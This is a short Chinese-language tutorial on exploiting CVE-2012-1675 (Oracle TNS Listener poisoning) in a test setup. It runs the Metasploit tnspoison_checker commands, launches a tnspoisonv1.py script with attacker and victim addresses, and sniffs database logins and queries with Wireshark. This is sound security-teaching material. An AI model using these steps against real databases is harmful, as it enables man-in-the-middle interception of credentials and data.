CVE-2012-1675该漏洞产生的原因是因为“TNS Listener”组件中允许攻击者不使用用户名和密码的情况下就变成“自家人”,也就是说攻击者冒充受害者的小弟,但是受害者没有进行任何认证就相信了。然后现在受害者就有两个同名数据库了,监听将自动按照负载均衡把这次访问发送到负载低的数据库上,进行连接访问。
然后我们就在连接处开设一个抓包工具就可以抓取受害人向攻击者发送的所有数据了。
这时候可能就有人问了,受害者都把数据给你了,你为什么不直接在你的数据库里面查看,这是因为你要查看必须要通过验证才能查看,验证也就是输入账号\密码。所以我们只能通过中间人攻击来获取数据。
环境配置:攻击者必须有一个oracle数据库环境不然无法进行TNS投毒攻击
我们先使用Metasploit的tnspoison_checker模块进行漏洞检测。
首先:use auxiliary/scanner/oracle/tnspoison_checker
然后:set RHOSTS 目标IP
然后:run
这时候返回信息说是存在cve-2012-1675漏洞的。
那么我们进行下一步测试
启动脚本 python tnspoisonv1.py 攻击者ip 端口 数据库名 受害者ip 端口
需要注意的是这里的数据库名必须是攻击者和受害者同名的数据库
然后模拟用户正常使用数据库,进行登陆以及使用数据库查询语句。
接下来开启wireshark 进行抓包
我们只需要注意TNS协议就好了,因为oracle数据库的协议是使用TNS协议的。
打开其中的数据,可以看见我们模拟用户登陆得到的数据库账号
我们在看下我们使用的查询语句是否能有拦截
可以看到这个是拦截成功了。